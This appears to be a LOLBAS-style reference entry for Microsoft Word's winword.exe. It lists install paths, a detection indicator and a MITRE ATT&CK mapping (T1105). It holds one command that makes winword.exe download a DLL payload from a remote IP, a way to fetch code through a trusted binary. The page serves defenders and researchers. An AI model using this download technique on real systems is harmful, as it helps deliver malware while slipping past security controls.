.. / Winword.exe
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Download

Microsoft Office binary

Paths:

C:\Program Files\Microsoft Office\root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
C:\Program Files\Microsoft Office\Office16\winword.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
C:\Program Files\Microsoft Office\Office15\winword.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
C:\Program Files\Microsoft Office\Office14\winword.exe
C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe
C:\Program Files\Microsoft Office\Office12\winword.exe

Resources:

Acknowledgements:

Reegun J (OCBC Bank) (@reegun21)

Detection:

IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Usecase: It will download a remote payload and place it in the cache folder
Privileges required: User
OS: Windows
MITRE ATT&CK®: T1105